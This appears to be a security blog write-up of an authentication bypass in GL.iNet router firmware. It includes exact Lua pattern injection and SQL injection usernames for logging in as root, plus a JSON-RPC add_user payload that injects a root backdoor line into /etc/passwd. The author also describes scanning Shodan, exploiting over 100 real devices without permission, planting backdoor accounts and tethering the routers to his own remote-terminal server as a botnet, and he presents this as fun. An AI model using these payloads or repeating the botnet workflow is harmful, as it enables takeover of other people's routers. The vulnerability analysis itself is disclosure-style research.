The firmware, binwalk to the rescue

The first thing I did was to download the firmware to analyze it with binwalk, a tool that allows you to walk the content of the binary file and match each byte against a database of known magic bytes.

By looking at the results of binwalk, we have the uImage of the kernel Linux-5.10.176 then, we have some LZMA, which is the compressed kernel itself, and then we have a SquashFS filesystem, just the typical firmware configuration.

We are interested in the SquashFS filesystem since it contains all the files that will be extracted on the device, thus the logic of the web interface. To extract it, I used the -e switch.

dzonerzy@DZONERZY-PC:$ binwalk openwrt-ar300m16-4.3.7-0913-1694589994.bin
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------0             0x0             uImage header, header size: 64 bytes, header CRC: 0xE940DF96, created: 2023-04-09 12:27:46, image size: 2597174 bytes, Data Address: 0x80060000, Entry Point: 0x80060000, data CRC: 0x3EBB4A22, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "MIPS OpenWrt Linux-5.10.176"
64            0x40            LZMA compressed data, properties: 0x6D, dictionary size: 8388608 bytes, uncompressed size: 8723876 bytes
2597238       0x27A176        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 12847666 bytes, 4096 inodes, blocksize: 262144 bytes, created: 2023-04-09 12:27:46

OpenWRT-based IPC ubus

The firmware was based on OpenWRT, as we can deduct from the firmware name, so the way web APIs are handled is a mix of openwrt stuff and GL.iNet custom code, and it works roughly as follows:

1 - We have an RPC daemon that is listening on a Unix socket, which, upon receiving a request, will call ubus to forward the request to the proper handler.

2 - The ubus dispatcher, a client that will forward the request to the correct Lua handler.

3 - Then we have the /usr/sbin/gl-ngx-session, the actual Lua handler for the authentication mechanism.

Other handlers exist for different functionalities inside /usr/lib/oui-httpd/rpc/, but we are interested in the authentication mechanism, so let’s focus on that.

More info about how ubus works can be found here.

The vulnerability, Lua, for real !??

Upon a first look at the code, I noticed that the /usr/sbin/gl-ngx-session script was just Lua code (no weird C MIPS esoteric code, yay!), so I started to analyze it.

The authentication mechanism works in two steps:

1 - The user sends an RPC request calling the challenge method, which will return a random nonce, the selected user’s salt, and the crypt’s algorithm to hash the password.

2 - The user will then send the password, which should be the md5 of the concatenation of the user, password, and the nonce.

At first look, that seemed solid, but then I looked at the get_crypt_info function used to get the challenge, and that’s where things started to get interesting.

local function get_crypt_info(username)
    if not username or username == "" then
        return nil
    end

    for l in io.lines("/etc/shadow") do
        local alg, salt = l:match('^' .. username .. ':%$(%d)%$(.+)%$')
        if alg then
            return tonumber(alg), salt
        end
    end

    return nil
end

Does it look weird, eh?? This script loops each line inside /etc/shadow and matches it against our username. The RegEx will eventually check the following pattern:

username:$algorithm$salt$

In my opinion, what is really wrong about that code is that our username is not sanitized, but rather, it’s used as part of the RegEX, which means that if we find a way to interrupt the regex without further processing, we can make it return whatever we want to match instead of the actual alg and salt. As it turns out later, the Lua regex library is not posix compliant, so there’s no way to interrupt the regex or make it fail/stop, nor is look-ahead matching supported 😔.

Luckily, this was one of many places where regex injection was possible. Let’s look at how the second step of the authentication works.

login = {
    function(req, msg)
        local username, hash = msg.username, msg.hash

        clean_gl_token()

        ...
        some boring code here
        ...

        local sid = session_login(username, hash)
        if not sid then
            login_fail = login_fail + 1

            if login_fail == login_fail_max_cnt then
                login_fail = 0
                login_wait = time_now() + login_fail_wait_time
            end

            ubus_conn:reply(req, { code = rpc.ERROR_CODE_ACCESS })
            return
        end

        login_fail = 0

        utils.update_ngx_session("/tmp/gl_token_" .. sid)

        ...
        still more boring code here
        ...

    end, { username = ubus.STRING, hash = ubus.STRING }
}

local function session_login(username, hash)
    if not login_test(username, hash) then
        return nil
    end

    local aclgroup = db.get_acl_by_username(username)

    local sid = utils.generate_id(32)

    sessions[sid] = {
        username = username,
        aclgroup = aclgroup,
        timeout = time_now() + session_timeout
    }

    session_cnt = session_cnt + 1

    return sid
end

local function login_test(username, hash)
    if not username or username == "" then return false end

    for l in io.lines("/etc/shadow") do
        local pw = l:match('^' .. username .. ':([^:]+)')
        if pw then
            for nonce in pairs(nonces) do
                if utils.md5(table.concat({username, pw, nonce}, ":")) == hash then
                    nonces[nonce] = nil
                    nonce_cnt = nonce_cnt - 1
                    return true
                end
            end
            return false
        end
    end

    return false
end

This time, the RegEx injection happens inside the login_test function; it tries to match everything from the first colon (the hashed password) until the next one. Luckily, this time, the regex is not strong enough ’cause the usual lines from /etc/shadow look like this:

root:$1$j9T2jD$5KGIS/2Ug.47GjW0jHOIB/2XwYUafYPh/X:19447:0:99999:7:::

Since we have multiple colons that could catch the regex match group, I made it return a different object rather than the hashed password, and as it turned out, that was possible.

With the following username:

root:[^:]+:[^:]+ 

The regex becomes

root:[^:]+:[^:]+:([^:]+)

I was able to shift forward the matching group, thus making it return the uid (which is always 0) instead of the hashed password, which means that we can always win the authentication challenge by sending the following hash:

md5(<user>:0:<nonce>) -> root:[^:]+:[^:]+:0:<nonce>

Let’s recap: to take the nonce, we use the original root username, and then on the second request, we craft the modified username, which shifts forward the match, and then we use our pre-computed hash to win the challenge.

Upon sending both requests, we are welcomed by the following response:

{
    "id":7,
    "jsonrpc":"2.0",
    "result":{
        "username":"root:[^:]+:[^:]+ ",
        "sid":"NsPHdkXtENoaotxVZWLqJorU52O7J0OI"
    }
}

Abandon hope all ye who enter here

Not all that shine is gold, and this is the case… In fact, upon logging in with the provided session ID, I got a bunch of ACCESS DENIED errors, and we were taken back to the login page.

I asked myself what was going on, and upon further analysis, I found that small piece of code preventing me from getting the flag, ehmmm ops, I mean root (that looks like a CTF).

    local aclgroup = db.get_acl_by_username(username)

    local sid = utils.generate_id(32)

    sessions[sid] = {
        username = username,
        aclgroup = aclgroup,
        timeout = time_now() + session_timeout
    }

The issue was with the aclgroup, since that was set to blank instead of some fancy ACL name. That’s ’cause we used an invalid username (a mix of regex, luck, and magic) instead of the root string.

Upon further research in the firmware, I found the code responsible for processing the ACL… 🥁 … that’s what I found inside /usr/lib/lua/oui/db.lua:

M.get_acl_by_username = function(username)
    if username == "root" then return "root" end

    local db = sqlite3.open(DB)
    local sql = string.format("SELECT acl FROM account WHERE username = '%s'", username)

    local aclgroup = ""

    for a in db:rows(sql) do
        aclgroup = a[1]
    end

    db:close()

    return aclgroup
end

Wait what?? The ACL is just a string inside a SQLite database, but what caught my attention was that tiny %s inside the query (yep, that’s what you think). In fact, the username is not sanitized and used as part of the query, which means we can inject SQL code inside the username and make it return whatever we want.

But wait, that means our username should be both a valid regex and a valid SQL query, and that’s not possible or is it?

The trick I used here was abusing a single-character match group to inject the SQL code. In fact, the following regex is valid both for Lua and SQL injection:

roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+

Here, I remove the t character from the root string and replace it with a single character match group, which will match everything except our SQL code (note the T for the SELECT statement); clever, uhm!? 😀

This will make the query look as follows:

SELECT acl FROM account WHERE username = 'roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+'

This will return our beloved root ACL, and we can finally log in as root!

Come to the dark side, we have cookies

Yes, we have cookies indeed, but what now? Should I stop here and report the vuln? Maybe, but not that time. I was bored and wanted more fun, so I started looking at GL.iNet documentation, looking for neat API stuff to call and play with.

GL.iNet developers are friendly and provide excellent documentation for their API, which can be found here.

I found some interesting API, the system/add_user, like the following.

As we can deduct from the API parameters, we can add a new user to the system! This seems a neat feature, so I tested this, and after adding a new user, I tried to log in via SSH but got no luck this time 😔 (we will be back on that later).

So, I returned to the documentation, and something caught my attention again. It was the rtty/run API with the following arguments:

SID: the token of the session
token: the token used during the authentication with a remote server
host server host
port server port
ssl: whether to enable SSL on the server

After some googling, I found that rtty is a public GitHub project created by some Chinese guy. The project readme states the following:

This project is officially supported by GL.iNet.

Oh, nice, some official tool! rtty is the client which is pre-installed on the devices, and it’s used to connect to a remote server that is running the rttys server, which is a remote terminal server.

Armed with this knowledge, I connected to my VPS and installed the rttys server with the command:

sudo docker run -it -p 5912:5912 -p 5913:5913 zhaojh329/rttys:latest

This docker will listen on ports like 5912 and 5913, respectively, for registration and web interface.

With a bit of Python-fu 🐍 I automated the whole process of searching vulnerable devices on Shodan, exploiting them, adding a backdoor user, and making them connect to my rttys server. The result was a stunning botnet of 100+ devices (actually, there are even more vulnerable devices on Shodan, but I stopped at 100).

Now, I can command all the devices to do whatever we want with the backdoor account we create. I forgot to mention that rttys allow us to execute scheduled commands, so we can even make them execute commands at a specific time, like an actual botnet.

Bonus chapter, above and beyond

So far, we have exploited the vulnerability and created a botnet, but we didn’t manage to create a root account. In fact, the system/add_user API makes a regular user rather than a root one.

To create a root account, we need to exploit another vulnerability. system/add_user works by appending a new line to /etc/passwd and /etc/shadow files, obviously without sanitizing the username.

{
    "jsonrpc":"2.0",
    "method":"call",
    "params":[
        "<SESSION_ID>",
        "system",
        "add_user",
        {
            "username":"backdoor2:$1$uzy0XSBy$K4D7tPeEK0Ea.xQ49V7sO1:0:0:root:/root:/bin/ash\n", 
            "password": "fake", 
            "uid": 1337, 
            "gid": 1337, 
            "home": "/home/your_router", 
            "interpreter": "/bin/sh"
        }
    ],
    "id":1
}

We can abuse that behavior to inject a new line inside /etc/passwd and make it look like this:

root:x:0:0:root:/root:/bin/ash
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
dnsmasq:x:453:453:dnsmasq:/var/run/dnsmasq:/bin/false
stubby:x:410:410:stubby:/var/run/stubby:/bin/false
ntp:x:123:123:ntp:/var/run/ntp:/bin/false
mosquitto:x:200:200:mosquitto:/var/run/mosquitto:/bin/false
logd:x:514:514:logd:/var/run/logd:/bin/false
ubus:x:81:81:ubus:/var/run/ubus:/bin/false
backdoor2:$1$uzy0XSBy$K4D7tPeEK0Ea.xQ49V7sO1:0:0:root:/root:/bin/ash
:x:1005:1005:backdoor2:$1$uzy0XSBy$K4D7tPeEK0Ea.xQ49V7sO1:0:0:root:/root:/bin/ash
:/home/user:/bin/sh

Even if the line is malformed, the system will still parse it, and we will have a new root account named backdoor2 with the password test.

From zero to botnet

Boredom, that bad guy